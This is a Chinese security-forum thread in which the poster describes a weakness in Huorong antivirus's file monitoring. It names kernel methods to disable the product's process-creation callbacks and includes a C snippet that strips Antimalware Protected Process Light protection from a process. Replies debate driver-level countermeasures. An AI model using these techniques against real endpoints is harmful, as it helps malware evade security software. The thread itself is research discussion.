搜索
查看: 573|回复: 20
收起左侧

[技术原创] 火绒文件监控BUG

[复制链接]
Yuki丶
发表于 2020-7-26 19:40:48 | 显示全部楼层 |阅读模式
本帖最后由 Yuki丶 于 2020-7-26 21:34 编辑

1.这是之前(几个月前)偶然一次操作发现的 今天火绒群友刚好又在讨论如何关闭/禁用火绒 于是就有了这篇帖。


先来说说是怎么发现的吧:
在虚拟机测试PspNotifyEnableMask动态禁用通知时 发现原本火绒监控能查杀的样本突然不检测了(压缩包解压),后来用WKE(Windows-Kernel-Explorer) 关闭通知 结果也是一样的 后面就发现火绒靠的CreateProcess实现的监控


如何干掉它呢(举几个例子):
1.动态定位PspNotifyEnableMask 改0 (PsSetLoadImageNotifyRoutineEx->PspNotifyEnableMask)
2.枚举CreateProcess 移除/修改火绒注册的通知 (PsSetCreateProcessNotifyRoutineEx->PspSetCreateProcessNotifyRoutine->PspCreateProcessNotifyRoutine)

甚至还可以用火绒的CreateProcess来安排他自己(CreateInfo->CreationStatus = STATUS_VIRUS_INFECTED):



顺便说说怎么干掉AM-PPL(Antimalware Protected Process Light technology):
  1.   ULONG Protection = 0, SignatureLevel = 0, SectionSignatureLevel = 0, MitigationFlags = 0;
  2.                 Protection = *(ULONG*)((PUCHAR)PsGetProcessProtection + 2);
  3.                 MitigationFlags = *(ULONG*)((PUCHAR)PsIsWin32KFilterEnabledForProcess + 2);
  4.                 SignatureLevel = *(ULONG*)((PUCHAR)PsGetProcessSignatureLevel + 15);
  5.                 SectionSignatureLevel = SignatureLevel + 1;

  6.                 PUCHAR pProtectValue = (PUCHAR)EProcess + Protection;
  7.                 PS_PROTECTION PsProtect = { 0 };
  8.                 PsProtect.Flags.Signer = PsProtectedSignerNone;
  9.                 PsProtect.Flags.Type = PsProtectedTypeNone;
  10.                 *pProtectValue = PsProtect.Level;
  11.                 PMITIGATION_FLAGS pFlags2 = (PMITIGATION_FLAGS)((PUCHAR)EProcess + MitigationFlags);
  12.                 pFlags2->DisableDynamicCode = 0;
  13.                 PSE_SIGNING_LEVEL pSignLevel = (PSE_SIGNING_LEVEL)((PUCHAR)EProcess + SignatureLevel);
  14.                 PSE_SIGNING_LEVEL pSignLevelSection = (PSE_SIGNING_LEVEL)((PUCHAR)EProcess + SectionSignatureLevel);
  15.                 *pSignLevel = *pSignLevelSection = SE_SIGNING_LEVEL_UNCHECKED;
复制代码

PPL其实用处不大 R0该怎么搞还是怎么搞 只能防一下R3

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
αdmin
发表于 2020-7-26 20:09:39 | 显示全部楼层
拜见姥姥
MagicFuzzX
发表于 2020-7-26 20:30:16 | 显示全部楼层
这不就是驱动层对抗了嘛
KeepSky
发表于 2020-7-26 20:33:56 | 显示全部楼层
驱动对抗,各杀软估计都难抗衡!
pal家族
发表于 2020-7-26 20:37:57 | 显示全部楼层
@wowocock 来发表下意见?
Yuki丶
 楼主| 发表于 2020-7-26 20:42:09 | 显示全部楼层
MagicFuzzX 发表于 2020-7-26 20:30
这不就是驱动层对抗了嘛

驱动可以不加载(返回加载失败
MagicFuzzX
发表于 2020-7-26 20:43:52 | 显示全部楼层
Yuki丶 发表于 2020-7-26 20:42
驱动可以不加载(返回加载失败

你StartService就应该被拦截了吧,跟DriverEntry返回什么没关系吧
treeyard
发表于 2020-7-26 21:13:51 | 显示全部楼层
拜见姥姥
Yuki丶
 楼主| 发表于 2020-7-26 21:16:02 | 显示全部楼层
本帖最后由 Yuki丶 于 2020-7-26 21:29 编辑
MagicFuzzX 发表于 2020-7-26 20:43
你StartService就应该被拦截了吧,跟DriverEntry返回什么没关系吧

并没有拦截...(火绒默认设置是不拦截的

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x
Yuki丶
 楼主| 发表于 2020-7-26 21:30:12 | 显示全部楼层
KeepSky 发表于 2020-7-26 20:33
驱动对抗,各杀软估计都难抗衡!

我还测过eset eset没这个问题
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 晋ICP备20004298号-1 ) GMT+8, 2020-11-28 01:05 , Processed in 0.137687 second(s), 17 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表